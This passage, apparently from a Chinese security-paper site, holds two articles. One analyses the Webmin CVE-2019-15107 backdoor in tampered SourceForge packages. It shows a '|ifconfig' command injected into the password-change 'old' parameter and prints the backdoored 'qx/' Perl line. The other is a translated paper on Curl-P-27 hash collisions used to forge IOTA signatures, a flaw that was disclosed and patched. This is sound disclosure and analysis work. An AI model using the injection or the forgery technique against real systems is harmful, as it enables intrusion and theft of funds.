文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码,后经知道创宇404实验室发现,该漏洞的存在实则是sourceforge上某些版本的安装包和源码被植入了后门导致的。漏洞复现
官方给的漏洞影响版本为Webmin<=1.920,于是当晚我使用了Webmin 1.920的版本进行的测试。
在1.920版本中漏洞的触发需要开启密码重置功能,
“Webmin-> Webmin Configuration-> Authentication”
下把允许用户使用旧密码设置新密码的选项给选上,并保存!Webmin重启后,查看webmin的配置文件,可以发现
passwd_mode
的值已经从0变为了2然后在密码修改处处执行抓包,然后在old参数上加上
|ifconfig
发现成功执行了命令!
想着换个用户试试吧,23333,结果出现下面的情况!
为什么换个root用户就不行了,这里的root用户是Linux系统的root用户,我登陆使用的就是这个用户。。
我再随便使用个用户试试?
经测试用户为空也可以,用户为webmin用户也可以,其创建方式如下:
其中root是Linux系统账户,认证方式为
Unix authenticaton
,ethan账户是自己创建的webmin 账户,认证方式无。这样问题就来了,为什么会有这样的区别?这就不得不开启一个perl菜鸟审计perl代码的道路,感谢@Longofo的帮助!
漏洞点分析
首先在
password_change.cgi
的第12行,我们可以得知想触发漏洞必须passwd_mode=2
,也就必须开启密码重置功能。否则就会显示Password changing is not enabled!1$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";接着分析
password_change.cgi
的12行到31行,如下:1234567891011121314# Is this a Webmin user?if (&foreign_check("acl")) {&foreign_require("acl", "acl-lib.pl");($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();if ($wuser->{'pass'} eq 'x') {# A Webmin user, but using Unix authentication$wuser = undef;}elsif ($wuser->{'pass'} eq '*LK*' ||$wuser->{'pass'} =~ /^\!/) {&pass_error("Webmin users with locked accounts cannot change "."their passwords!");}}从注释看,这段代码主要判断是不是webmin user。并且请求了一个acl-lib.pl,看名字就知道是功能性文件,功能应该就是访问控制之类的。在第21~22行的作用是获取请求中的user,并且判断是否属于Webmin user!但是这个x让我不知所然,为什么把
$wuser
和x
这个值比较呢?。于是我把acl::list_users()
的值尝试着打印出来!返回如下数据:
通过返回的数据,我们可以知道root用户并且使用
Unix authenticaton
设置(默认)的pass的值为x
,而我自己创建没有选择认证方式的用户,pass
的值为一串加密的字符串。也就是说如果我们传进的user
是系统用户登陆且认证方式为Unix authenticaton
的账户时,$wuser
的值会被赋值为undef
。在if条件语句外,我们把
$wuser
的值给打印下在
if
条件语句里面把$wuser
的值打印出来印证一下而在
perl
语言中undef
是变量未初始化时的默认值,一般情况下,将其当作空或0就好了,在需要作为数值的时候,undef
代表的就是0,需要字符串的时候,undef
就是空字符串。这里应该是对系统用户密码的修改和其它用户进行了区分。由我们上面的分析可知,在用户为root的情况下
$wuser
的值为undef
。1234567891011if ($wuser) {# Update Webmin user's password$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});$perr && &pass_error(&text('password_enewpass', $perr));$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});$wuser->{'temppass'} = 0;&acl::modify_user($wuser->{'name'}, $wuser);&reload_miniserv();}也就是说如果传入的
user
为系统用户无法进入第37行的if
条件语句,从而无法执行第40行qx/...../
的命令执行代码。当我们传入的用户为空或者不存在时,$wuser
的值为{}
,但是会进入if
条件语句关于命令执行是否需要
|
,我们通过分析第207行到217行的pass_error
可知,不需要|
,亦可进行命令执行回显。1234567891011sub pass_error{&header(undef, undef, undef, undef, 1, 1);print &ui_hr();print "<center><h3>",$text{'password_err'}," : ",@_,"</h3></center>\n";print &ui_hr();&footer();exit;}另有蹊跷
继续探究的原因是觉得
qx/..../
的蹊跷,因为官方给的修补是直接删除了qx/..../
如图:是不是越看越感觉这个漏洞是被"加上去的",在Github上下载的1.920版本并无
qx/..../
,啊咧咧,一头雾水啊。。。通过git log -p
命令并未发现与qx/..../
相关的记录。而在sourceforge上下载的源码和安装包却有漏洞代码。后门?2012年在网站SourceForge韩国CDN节点疑似被入侵,热门下载资源phpMyadmin被植入后门。在Seebug上有收录:https://www.seebug.org/vuldb/ssvid-60402
在Github上找到另外一些讯息,https://github.com/webmin/webmin/issues/947
在1.890版本中,同样存在漏洞代码,这一次简直是赤裸裸的后门。。。
我从sourceforge下载1.890版本,进行了探究。漏洞点如下:
通过分析我们可以得知,这个漏洞点的触发只需要传一个
expired
参数执行命令即可。不需要之前的passwd_mode=2
的必要条件。也就是说,在1.890版本中漏洞的触发不需要任何依赖。是代码疏漏还是恶意后门?
验证想法
这里我们通过更直观的方式来验证,通过把Github和sourceforge的源码下载下来,然后进行diff
Webmin 1.920版本的password_change.cgi文件
Webmin 1.890版本的password_change.cgi文件
通过Github和sourceforge的文件对比,我们可以发现,sourceforge的代码明显存在问题,极有可能是被植入了后门。
后经验证确认,只有sourceforge的代码和安装包存在后门漏洞。各版本的情况如下:
其中以1.890版本的后门漏洞触发依赖最小,危害最大!猜测这应该是最初始的后门,后来植入后门的时候没有考虑到代码逻辑的问题,导致漏洞触发受到了限制!
漏洞修补
- 直接升级到1.930版本
- 临时修补方案,可以定位漏洞代码所在的行,然后剔除,下图为1.920版本:
下图为1.890版本:
将所示标注替换为
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
即可,替换的代码为Github无后门代码。事后感想
本来正常的一次应急没想到,发展成了对后门文件的探究。果然是生活不息,搞事不止啊!感谢@Longofo,帮忙测试大量文件和代码。黑哥也在medium上发表了The stories behind Webmin CVE-2019–15107这篇文章来描述后门发现的过程:https://medium.com/@80vul/the-stories-behind-cve-2012-5159-198eaad2449d
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1019/
-
分析 Curl-P 以及攻击 IOTA 加密货币
作者:Ethan Heilman, Neha Narula, Garrett Tanzer, James Lovejoy, Michael Colavita, Madars Virza, and Tadge Dryja
原文:Cryptanalysis of Curl-P and Other Attacks on the IOTA Cryptocurrency
译者:知道创宇404实验室摘要
本文介绍了使用伪造签名攻击IOTA区块链的方法。加密哈希函数Curl-P-27中存在一些弱点,允许攻击者快速生成可碰撞的短消息,并且这个方法也适用于相同长度的消息,利用这些弱点我们实现了对加密哈希函数Curl-P-27的攻击,破解了前IOTA签名方案(ISS)的EU-CMA。本文最后我们将介绍如何在消息已经被签署的情况下伪造有效支出的签名和多重签名(在IOTA中称为bundle)。
关键词:加密货币,签名伪造,加密哈希函数,密码分析
1 介绍
加密货币通过数字签名来鉴别用户的转账行为。为了提高性能,在许多签名方案中,用户签署的是消息的哈希值而不是消息本身。在此情况下,如果底层哈希函数受到了攻击,攻击者便可以在付款时伪造数字签名。
IOTA 的付款操作需要获得签名方案的授权。本文介绍了对该签名方案的攻击,这些攻击利用了哈希函数Curl-P-27的弱点。重要的是,我们在2017年8月披露并修补了此漏洞,由此保证了IOTA签名方案的安全性[20]。
IOTA是一种加密货币,被应用于物联网(IoT)和汽车生态系统。截至2018年7月24日,它以26亿美元的市值成为全球第九大最有价值的加密货币[9]。许多公司与 IOTA 有过合作,包括汽车制造商大众汽车公司和欧洲大型工业公司博世公司。 IOTA 曾发布公告称大众汽车计划在2019年初发布一款使用 IOTA 的产品[7]。 2017年底,博世购买了“大量 IOTA代币”[6]。此外,IOTA 基金会与台北市签署了一项协议,将 IOTA 用于其智能城市计划,其中包括数字市民卡项目[8]。
IOTA使用加密签名来授权用户付款。基于 Winternitz 一次性签名[25],IOTA建立了自己的签名方案(ISS)。但与传统的 Winternitz 签名不同,IOTA 用户签署的是消息的哈希值。由此可见,ISS的安全性依赖于其加密哈希函数,即 Curl-P-27。通过常见的差分密码分析方法,我们可以使用Curl-P-27快速创建哈希值相同且长度相同的消息,从而打破了功能的碰撞阻力。我们做到了每次都能在一个上限值之内实现碰撞。
使用此碰撞攻击,我们可以在 IOTA 中伪造签名。我们从被签署的消息着手,为攻击者分别创建良性支付和恶意支付,并且使这两种支付具有相同的有效签名。我们的攻击适用于正常付款和多签名付款,并且只针对IOTA 签名方案,而没有包括整个 IOTA 网络。从多签名地址支出需要一个用户为另一个用户签名支付,这完全取决于如何设置被签署消息。我们详细介绍了如何攻击多签名地址支出,并提供了在单签名和多签名付款中生成碰撞的工具,并且评估了攻击的效率。在使用80个核的条件下,我们可以在不到20秒的时间内制造 IOTA 付款碰撞。
1.1 漏洞状况和影响
2017年7月14日,我们与 IOTA 开发人员准备披露这个攻击,并且就修补漏洞的时间安排以及发布日期进行了协商。 2017年8月7日,IOTA 开发人员部署了一个向后兼容的升级,通过将 Curl-P-27 替换为另一个哈希函数来消除漏洞[32]。为了进行升级,Bitfinex 暂停了其存取款业务,时间接近三天 [4]。所有直接持有 IOTA(不通过交易所)的用户都被鼓励升级他们的钱包和地址。 2017年9月7日,我们发布了漏洞报告[20],描述了此攻击的原理。
在报告中,我们给出了有效碰撞和签名伪造的示例以及验证他们的软件。在此基础上,本文详细分析了破解 Curl-P-27 抗碰撞性的方法,并介绍了开发伪造签名的软件的流程。我们还研发了应对多签名方案的技术——选择消息攻击特别适用于多签名方案。我们没有向 IOTA 发送任何伪造签名或以任何方式攻击 IOTA。由于 Curl-P-27 不再用于 ISS,本文提出的签名伪造不适用于当前的 IOTA,同样不适用的还包括 5.2 节提到的的多重签名攻击。 Curl-P-27 仍然用于 IOTA 的其他部分[14],但我们不会对他们进行攻击。
2 相关工作
在我们发布了初始报告之后,Colavita和Tanzer [10]分别复现了我们的分析,并验证了Curl-P 的round函数,即这个函数通过排列的方法,根据特定的表达式进行舍入。他们二人也参与了本论文的撰写。
1991年,Biham 和 Shamir [3]首次发布了差分密码分析技术(IBM的研究人员在1974年发现了类似技术但没有对外公布[11])。在本篇论文中,我们通过平衡三元加密哈希函数实现了差分密码分析的一个简单应用。除了我们的漏洞报告[10]以外,还有其他研究对基于三元的加密伪随机序列发生器进行了设计分析[16],但是没有研究过此函数的差分密码。
通过对 Curl-P-27 的加密分析,我们对 ISS 的不可伪造性进行了选择消息攻击。或许我们还看不出降低碰撞抵抗性和建立攻击模型有多大的作用,但 MD5 哈希函数的研究过程可以给我们答案。王小云在 2004 年首次实现了 MD5 哈希算法的碰撞[35],并在随后发布了生成随机碰撞的通用程序[34]。 2005年,Lenstra 与王小云合作将这个加密漏洞应用于X.509 认证中。X.509 支持 HTTPS 等协议,并且能够构建成对的碰撞证书[24],是公钥基础设施的基石。有人认为证书颁发机构不会签署此类可疑证书,而且由于 X.509 认证缺乏“有意义的”结构,它很有可能被滥用。2007 年, Stevens 加入 Lenstra 等人,将 MD5 的原始随机碰撞攻击扩展到选择前缀碰撞攻击[30]。2009年,Stevens 等人宣布他们已经成功伪造了一个 X.509 证书,其拥有的证书权限能够通过所有主流浏览器的验证 [31] ,导致供应商立即废弃 MD5。
之后,IOTA 开发人员替换了 IOTA 签名方案中的哈希函数, Curl-P-27变成了基于 Keccak 的 Kerl。2017年10月,他们发现了一个名为13攻击(也叫 M 攻击)的无关漏洞[23]。对于哈希值在[-13,13]区间内的消息,数字13的签名(又记作“M”)显示明文是私钥的衍生物,并可以被用于伪造所有的后续消息块,由此造成漏洞。为解决此问题,IOTA 基金会要求用户必须更改消息,直到摘要中没有 13。另一种补救措施是,开发人员将可能受到损害的资金转移到其他地址,用户之后可以通过向基金会提出申请,并收回其资金[27]。
3背景
在本节中,为了读者能更好地了解这个攻击,让我们首先简要回顾一下 IOTA 的一些不常见的设计特性和术语。我们还会对 Curl-P 哈希函数和IOTA 签名方案(ISS)进行概述。
3.1 IOTA设计
IOTA 有一些特别之处。首先,IOTA 使用平衡三进制而不是二进制;第二,IOTA 的付款被称为bundle;第三,IOTA 使用一种称为 tangle 的新数据结构而不是传统的块链;第四,IOTA 聘请一个称为协调员的可信方来检查状态并批准付款。
IOTA 的数据结构使用平衡三进制而不是二进制,其中用于计数的符码为{-1,0,1},一个三进制字节由三位符码组成,每个字节代表了 [-13,13] 的整数。 IOTA经常将三进制字节序列化为字母A-Z和数字9。
IOTA 内的付款方式用一种叫做 bundle 的数据结构来表示。Bundle 由多个交易组成,但 IOTA 交易与其他加密货币交易不同,它们是负责存储输入或输出的缓存,除此之外还有地址,签名,价值和标记等字段。在第 5 节中对这个攻击进行描述时,我们也会详细描述 IOTA 的 bundle 和交易格式。
IOTA 是基于 tangle 的概念建立的[26],其类似于DAG链,其中每个块可以引用多个块父[29]。然而,在 IOTA 中,没有块可以汇总多笔付款。相反,每个交易必须有一个 nonce 以用于 PoW,还需要含有指向其他两个交易的指针。为了将交易添加到 tangle 中,用户从 tangle 中选择两个小费以在其交易中引用。一旦创建并且得到签名,用户就会有足够的工作证明,并将交易(或bundle的情况下的交易)广播到IOTA网络。
在目前部署的IOTA中,bundle只能在获得协调员的批准之后才可以被接收。协调员是由IOTA开发人员运营的可信方,检查和批准tangle的状态,并对tangle签名。人们担心IOTA是集成的,或者受到IOTA开发人员的控制 [33]。 IOTA开发人员称IOTA不是集成的,协调员是一种临时措施,且IOTA没有公开其源代码。由于我们没有与IOTA沟通,我们无法确定协调员将如何影响我们发起的攻击,但是据我们所知,协调员没有机制可以防止本文提到的攻击。
3.2 IOTA的签名方案(ISS)
受到Winternitz一次性签名(W-OTS)的启发,IOTA使用了类似的签名方案[25]。 W-OTS对Lamport签名进行了优化 [22],同时操作多位,不惜计算成本来缩短公钥长度。
ISS与W-OTS有很多不同。首先,与传统的W-OTS一样,ISS操作的是消息的哈希值,而不是像 W-OTS那样直接在消息上进行操作。其次,ISS没有使用校验和,而是对消息的哈希值进行规范化。
ISS有三个安全级别。安全级别1仅签署消息的哈希值的三分之一,安全级别1签署前三分之二,安全级别3签署整个哈希值。因为我们的攻击是针对最高安全级别的,所以它也应当适用于其他所有安全级别。因此,当下文涉及到ISS时,我们将默认其使用了安全级别3。
3.3 Curl-P
在本节中,我们将描述Curl-P哈希函数。 Curl-P(有时称为Curl)是一种加密哈希函数,被用于设计IOTA。 它的用途包括创建交易地址、消息摘要,工作证明(PoW)和基于哈希的签名。 在高层次上,Curl-P遵循海绵结构模式[2,18],但在一些关键位置上有变化。 由于IOTA项目尚未提供任何官方规范说明或分析,我们对Curl-P的开源部分进行说明。
与大多数加密哈希函数不同,Curl-P使用的是平衡三进制。为表达清楚,我们用小写字母表示单个三进制符码,例如a; b; c; x; y; z, 再用大写字母表示连续的三进制符码,如S; N; X; Y。使用下标符号表示一个序列中的单个字符,例如Si。遵循IOTA惯例,Curl-P-R中的R表示轮次(例如,Curl-P-27表示27轮Curl-P)。
Curl-P运行过程如图一所示:(1)Curl-P的初始化状态S是一个长度为729的全零三进制序列。 (2)消息被分成消息块mb0 · · · mbn,每块长度为243。 Curl-P不使用消息填充,如果一条消息的长度不是243的倍数,允许最后一个消息块小于243。4(3)每个消息块mb0 · · · mbn依次被复制到状态S的前三分之一,并由函数f r进行转换。 (4)当没有消息块之后,Curl-P返回最终状态的前三分之一。有关更详细的描述,请参阅算法1。
现在来看负责转换状态S的函数fr 。转换函数fr 就是将f函数递归调用r次,例如f 3(S) = f (f (f (S)))。 Curl-P-27就是Curl-P哈希函数,其变换函数是f27。
调用一次fr 就能获得S的新状态。 如算法2中所述,初始状态中的每相邻两位符码通过简单函数g的转换,变成新状态中的一位数字。 当前状态中的每一位都会被使用两次,一次作为g的第一个参数(由a表示),一次作为g的第二个参数(由b表示)。 在表1中,我们给出g作为替换表(s-box)。
!
4 Curl-P的密码分析
在本节中,我们应用常见的差分密码分析法来构造完全碰撞。我们构造两条相同长度的消息,设置他们只有一个符码不同,而且他们通过 Curl-P-27 会映射到相同的值。我们可以控制碰撞消息的内容,包括任意消息前缀和后缀。在下一节中,我们将利用他们来伪造有效IOTA支付的签名。
除了IOTA开源项目发布的一部分源代码,我们无法找到 Curl-P 或 Curl-P-27 的正式规范文档。此外,IOTA开发人员表示,Curl-P-27 旨在对特定的输入组[5]进行碰撞。事实上,Curl-P-27 是非随机的。正如[10]中详细探讨的那样,可以在相同长度的消息中观察到 Curl-P-27 的非随机行为;碰撞和第二个预成像对于生成不同长度的消息是微不足道的。因此,为了确保我们真正破解了 Curl-P-27,我们表明我们的碰撞攻击破坏了 Curl-P-27 的安全属性(参见第5节)。
在高层次上,我们的攻击工作如下所示。我们选择两条长度至少为三个消息块的消息,并且他们只有一位符码不同。为了降低困难,我们使这两条消息满足某些约束方程(在第 4.2 节中详细说明)。一旦我们进入包含不同符码的消息块,我们就需要确保会发生碰撞。为此,我们在两个消息中随机翻转一组三进制数,并且每组不能超出其所在的消息块。我们的思路是对两条消息做变换处理,并且使不同的那一位在转换完成后处于结果状态的前三分之一的位置。
f 27(S)[243,729] = f27(S‘)[243,729]
因为Curl-P用下一个消息块替换了S的前三分之一,这导致原本的差异被覆盖,造成完全碰撞。我们利用Curl-P-27的不同特性多次强制转换函数,这样的话,在最后一轮时这些差异可能还保持在状态的前三分之一。经过多轮转换之后还保持着一位差异,找到这样的两条消息需要调用Curl-P-27次数的上限是760 万次或 22287次。
在图2中,我们可以看到在Curl-P-27中,不同的轮数会导致不同的结果。我们用颜色代表发生碰撞的可能性,x轴表示差异点的位置,y轴表示在该轮数内差异没有扩散。我们对每个位置和深度执行100个样本(总共11 243 100 = 267300个样本),每个样品随机初始化,差异点的内容设置也是随机的。更多数学分析请参阅[10]中的复现。
我们设置差异符码出现在第 17 位。根据实验结果,知道了轮次和差异点的位置,我们可以计算碰撞的概率。在此条件下递归20次后,碰撞的概率是1.0。因此,只要我们保证差异不会扩散,我们就可以制造碰撞。这种攻击应该同样适用于输入的消息块中的其他位置(如[10]所示)。请注意,这是确保发生碰撞的上限,因为递归次数少于20次时也可能发生碰撞。
4.1 Curl-P变换函数f r的不同性质
在本节中,我们将展示如何找到目标状态,将差异保持至少20轮。这需要我们分析Curl-P变换函数f的不同性质。
差分密码分析涉及研究两组及两组以上的输入之间的差异传播模式。最常见的技术是寻找差异轨迹。差异轨迹是一组概率偏差,表示一组差异如何通过多轮加密函数传播到另一组差异。这里我们只使用特定的差异轨迹,即在转换函数f的重复应用下,两个状态S,S‘之间的某一位的差异。我们证明了 Curl-P 强烈偏向于保持一轮的单符码差异(即f的应用)。
首先介绍其中涉及的术语。由于Curl-P使用三进制符码∈{?1,0,1},我们必须使用新的三元符号表示法。为了表示两个符码 x 和 x' 之间的差异,我们使用Θ ( 0Θ ?1 代表 x = 0 ,x’ = ?1 或者 x = ?1 , x‘ = 0)。通过术语扩散,我们指出在调用f之后,两个状态之间的差异的数量已经增加(即,差异已被使用)。
我们的攻击是围绕着一个事实,即s-box g不会一直传播差异。例如,考虑g的两组输入和输出:g: a,b,c and a‘, b’, c‘ such that g( a, b ) = c and g( a', b' ) = c'。我们做出以下观察:
1.对于所有可能的值,如果 a ≠ a' 且 b = b',那么 c ≠ c' 。
2.如果a = a' 且 b ≠ b',则可能有 c = c' 或 c≠c'(例如,a = a'= 1,b = 0且b' = 1,则c = c' = 0)。
每调用一次 f 就是更新一次状态。如3.3节所述,g 中每两位符码经过转换以后变成新状态中的一位符码。先前状态的每一位最多被转换两次:一次作为第一个变量a,一次作为第二个变量b。这意味着单位符码差异将延续到下一轮,因为当它是s-box g的第一个变量a时,g的输出将与a不同(如图1所示)。因此,如果将f应用于两个状态S,S',更新后的状态f(S),f(S')将始终有一位或两位的不同,不会出现无符码差异。
我们模拟了状态在k轮Curl-P后保持单位符码差异的概率。 如图3所示,此马尔可夫模型列举出了所有可能的输入与其转换后的结果。 例如,如果当前的差异为 0Θ1,那么它有 1/9 的概率在下一轮中保持不变(即0 1),2/9 的概率变为 -1Θ0,或者有 6/9 的概率使差异个数从1增加到2(标记为失败状态,因为它未能保持单符码差异)。
顶行表示 0Θ1 的转换到各个结果的概率,第二行是 -1Θ0,第三行 -1Θ1,第四行是差异由一位变为两位。使用这个矩阵,我们计算了在调用 k 次 f 之后差异保持一位的概率的下界,因为我们没有计算差异位数超过 1 位之后再变回1位的情况,所以这是一个下限。
因此,从 0Θ1 开始,通过将矩阵提高到我们希望的轮数并计算概率。例如我们将矩阵幂 3 次,那么得到的矩阵中的数字就是符码在转换 3 次以后变成对应新符码的概率。因此,我们可以测量k轮后也不失败的概率。
之前,我们通过实验验证了,如果经过 20 轮 Curl-P-27(即调用20次f)转换仍保持单符码差异,那么碰撞的概率是1.0。使用我们的状态转移矩阵,我们计算20轮,我们的攻击有一个每个查询成功概率下限为 2-42。也就是说,我们需要尝试242次才有可能找到将差异保持到20轮以后的消息对,这样的消息对可以产生碰撞。在下一节中,我们将展示如何显着减少对 Curl-P-27 的必要查询次数。
4.2差分求解
在本节中,我们将展示如何通过选择具有特定属性的消息来减少 Curl-P-27 的查询次数。我们首先展示如何约束有一位差异符码的状态 S 和 S‘,使得他们需要至少9次递归才能保持一位的差异(即差异没有扩散)。为此,我们将f表示为方程组,并求解状态S和S’中的特定值。
我们可以将变换函数f r(S) 表示为一系列方程。例如,调用一次 f 可以写为
f (S)0 = g(S0,S364),f (S)1 = g(S364,S728),...,f (S)728 = g(S365,S0)
其中f (S)0是调用f后获得的新状态的第0位的数字。由于每一轮只是f的递归应用,我们可以根据状态S的初始值在f轮后写出特定位的值。我们使用上标来表示轮次。例如,用
f 2(S)6 = g(g(S366,S1),g(S184,S548))
表示在位置6进行两次递归运算。
使用这种表示,我们找到可以使得 0Θ1 的差异保持9轮的方程。然后我们找到满足这些方程的消息前缀。 目前,我们可以在一秒之内查找到此消息前缀(有关我们的性能评估,请参见第 5.3 节)。 另外,给定一个特定的消息模板,我们只需要在两个消息块中更改一小组三进制位,便可以将其转换为令人满意的消息。
4.3 寻找碰撞
攻击需要至少3个信息块:mba, mbb, 和 mbc。其中mbb含有一个差异符码。mba前面的消息块数量没有限制,mba和mbb之间也没有,mbc总是跟在mbb之后并且重写mbb在前三分之一制造的差异。mbc的取值不会对攻击造成影响,可以取任意值。
完整的攻击过程如下。首先,在我们攻击的约束阶段,我们通过调整mba和mbb来找到合适的消息前缀,这样它们可以保证 9 轮的单位符码差异。 接下来,在蛮力阶段,我们在mbb中的特定位置随机改变符码,目的是找到两个消息,使得从位置 17 开始的差异保持 20 轮。 由于约束阶段确保蛮力阶段的每次尝试在 9 轮中保持单符码差异不同,因此蛮力阶段的攻击复杂性从 20 轮减少到 11 轮。 结果,每个查询的成功率的下限减少到大约2 -22.87或 760 万分之一。
正如差分密码所分析的,我们的概率计算简化了假设,即输入值是均匀随机的。考虑到 Curl-P-27 的低扩散率和Curl-P 的非随机性,这种假设可能不会总是成立。 但是,如第 5.3 节所示,本节给出的界限与实际结果相当接近。
5 利用Curl-P中的碰撞来伪造签名
本节中,我们将使用Curl-P-27碰撞对IOTA签名方案(ISS)执行签名伪造攻击。结合上一节的内容,我们将展示如何创建两个有效的IOTA bundle(即支付),这两个bundle最多只有两位不同,并且他们具有相同的Curl-P-27哈希值。然后,我们将描述攻击的设置,利用这些碰撞的 bundle 来伪造签名。最后,我们将展示如何攻击ISS多重签名。
5.1 对ISS的选择消息攻击
我们的攻击是一种选择消息攻击,恶意用户 Eve 欺骗用户Alice,先是要求Alice签署b1,然后根据b1生成相应的b2,这个b2也能通过验证。具体过程如下:
- Alice生成密钥对(PK, SK)。
- Eve通过碰撞攻击产生两个bundle b1,b2,并使得 b1 ≠ b2 且 CurlHash(b1)= CurlHash(b2)。
- Eve将b1发送给Alice并要求Alice签名。Alice检查b1,确认它是安全的。
- Alice在夏娃上给b1签名,即Sign(SK, b1)→ σ。
- Eve产生一个bundle对(σ,b2),使得 b1≠b2,b2是一个有效的 bundle,就算 Alice从未见过b2,b2也能够通过Alice的公钥验证。
在4.3节中,我们介绍了攻击的一般格式,它至少需要三个消息块 mba,mbb和mbc。 为了执行攻击的第一阶段,我们将 mba 和 mbb 中的某些特性设置为特定值。 在暴力阶段,我们每次尝试更改 mbb 中的其他符码并检查我们是否已经实现了碰撞。 但是,bundle必须通过 IOTA 软件中的有效性检查才能被 IOTA 视作有效bundle,这限制了我们可以修改的位数。
要想计算 bundle 的哈希,需要对每个交易的地址,值,标记,时间戳,当前字节和最后字节的串联结果计算哈希值。交易的格式如图4所示。大多数字段的格式都有严格的规范格式。例如,bundle 中值的求和结果不能为负,时间戳必须在一定范围内,并且索引必须与 bundle 中的交易对齐。标签不会影响 bundle 的语义或有效性,并且可以包含任意的符码。因此,对于约束阶段和暴力阶段中的每次尝试,我们只更改 tag 中的符码。
另一个重要的问题是要在哪里生成碰撞。在最初的漏洞报告中,我们展示了两种不同攻击方式的碰撞 bundle:一种将碰撞置于地址范围内,使得 Alice 无意中签署了一项交易,该交易将取走 Eve 的资金,Eve 可以声明 Alice 犯了一个错误。第二次将两个碰撞放在一个 bundle 中的两个地方,导致 Alice 无意中签署了一个交易,该交易比预期更多地支付 Eve。在下一节中,我们将详细描述需要多个签名的 bundle 的后一种攻击方式,这些签名是我们选择的消息设置。
5.2 多重签名攻击
我们在漏洞报告[20]中伪造的攻击是选择消息攻击,也就是说,Eve必须要求Alice签署bundle。为了证明保障被签署消息的安全性有多么重要,我们现在将攻击扩展到 IOTA 多重签名方案[28]。在多重签名中,只有在多方签名以后才可以支出资金。为了达到这个目的,一方创建一个bundle并要求另一方签名,这便是选择消息攻击。 IOTA基金会鼓励部署热存储/冷藏解决方案5,以达到使用多重签名来安全存储资金[12]的目的。多重签名迫使攻击者必须使多方妥协,这是它被使用在加密货币环境中的一个主要原因。我们的攻击恰好消除了多重签名的这种安全优势。我们将考虑一个2-of-2 的简单案例,其中两方都签署了花费资金。这个攻击还会推广到更复杂的设置。
考虑 Eve 和 Alice 各持一对 ISS 密钥:(PKE, SKE)和(PKA,SKA),只有Eve的密钥签名和Alice的密钥签名同时存在才能取出资金。这意味着Eve和Alice之前已经进入了 2-of-2 的多重签名,并且现在正共同使用这笔资金。我们的攻击将做如下工作:Eve将计算两个相互碰撞的bundle,一个向Alice支付资金,另一个向Eve支付资金。 Eve将签署并发送bundle给Alice,这个bundle负责向Alice支付资金。一旦Eve拥有 Alice 的签名,她就会在创建一个Alice从未见过或未授权的有效bundle,并且广播这个bundle.6。在此设置中,Eve要么是恶意的,要么已被恶意方攻击。
为了构造这样的bundle,Eve将碰撞置于某个碰撞的某个value字段。图5显示了bundle的前四个消息块。突出显示的字段与攻击相关。通过在碰撞前后操纵标记字段中的特征,Eve导致第二交易(消息块3)中的value字段的第17位发生碰撞。这样,Eve可以在第二个交易中生成两个不同的bundle,这些值具有相同的哈希值。 Eve随后在第四个交易(消息块7)中生成了第二个碰撞,这次使两个bundle的值仍然总和为零。这用于设置向谁支付多少金额。
为了生成这些碰撞,一般需要我们按顺序进行两次攻击。在我们当前的碰撞工具中,我们在两个交易之间还需要一个交易。满足了这个要求,以及冲突不在第一个或最后一个交易中的要求,我们就可以处理具有不同数量的交易的bundle。我们的工具只能在消息块的第17位中产生碰撞,不过这是工具的限制,而不是因为第 4 节中的密码分析有误。我们的工具在生成碰撞时不依赖于交易中特定的地址和值,但是必须保证对应位的符码不同才能产生有效的bundle。例如,如果在 b1 中 Alice 和 Eve 的输出值的 17 位为零,那么在b2中将Eve的输出值的17位变为1会导致b2的总和不为0。在 b1 中,Alice 的输出值的第 17 位应为1,Eve的应为零。
在附录B中,我们展示了使用此技术创建的两个示例bundle。其中bundle为支出500,000,000 IOTA货币,由Alice和Eve控制。Alice丽丝签了一个bundle,它支付Eve 1 IOTA,其余的支付给其他地址。在碰撞的bundle中,Eve收到 129,140,164 IOTA货币,支出地址为Alice的地址。
碰撞单签名bundle的生成方式与此类似。我们在漏洞报告中伪造了bundle的签名,其向三个地址进行支付。在良性bundle b1中,Alice在她控制的两个地址收到 50,000 和 810,021,667 IOTA 货币并向Eve支付100 IOTA货币。在恶意bundle b2 中, Eve进行了调整并且收到了 129,140,263 IOTA货币,这些是Alice的钱。我们还没有研究在value和address字段之外制造碰撞会带来哪些影响,可能会生成其他攻击。
5.3 性能分析
我们在 64 位Linux 4.9.74 环境下,使用一台配备了 8 个 2.4GHz 10 核 Intel 芯片和 256 GB RAM 的 Intel 机器运行此攻击。 我们的攻击占用了全部的 CPU,但占用的 RAM 空间可以忽略不计。 如第 4.3 节所述,碰撞包括两个阶段:约束阶段计算约束集,而暴力阶段在 tag 中产生随机数以产生碰撞。
约束阶段生成并求解十八个等式,前九轮 Curl-P-27 中的每一个都有两个。 约束阶段在 Python 中实现,并且是单核运行。 我们没有尝试优化第一阶段。 表2 显示了取第 17 位不同并且在第一阶段运行 5000 次后所需要的平均,最小和最大时间。
表2 还显示了强力阶段的测试结果。该阶段使用第一阶段的符码和模板来强制生成碰撞。因为这在 Go 中执行并且并行,因此我们需要使用服务器的所有 80 个核。 使用第一阶段的输出生成碰撞平均只需7.2秒。 一次碰撞平均需要测试 520 万次,最小和最大尝试次数分别超过 5000 次 1279 和 53M。 这证实了我们在4.3节中的分析。
为了实现第 5.2 节中描述的多重攻击,我们必须顺序地运行约束和强制阶段,以生成两次碰撞。 我们的碰撞工具平均 15.2 秒就可以生成两个多重签名的bundle。 表2 显示了各阶段运行5000次所对应的平均时间以及最小和最大时间。
6 讨论
IOTA开发人员对漏洞的产生原因及其影响有过多次声明,我们对其进行了总结,并对部分问题作出了回应。
IOTA开发人员认为我们的攻击模型与IOTA网络环境没有联系:具体来说就是,我们无法设置被签署过的消息,因为“在IOTA中,攻击者不会选择签名过的消息“[5]。为了应对这个问题,我们将攻击扩展到多重签名地址,因为多重签名协议明确允许一个用户选择另一个用户签名的消息。
IOTA的开发人员还认为,”即使是大多数有效的攻击“都会在IOTA网络中失败,因为在闭源协调员中存在”保护机制” [5,13]。漏洞报告和本文中提出的攻击只单纯考虑如何应对IOTA签名方案,未在完整的IOTA系统的环境中分析这些攻击。
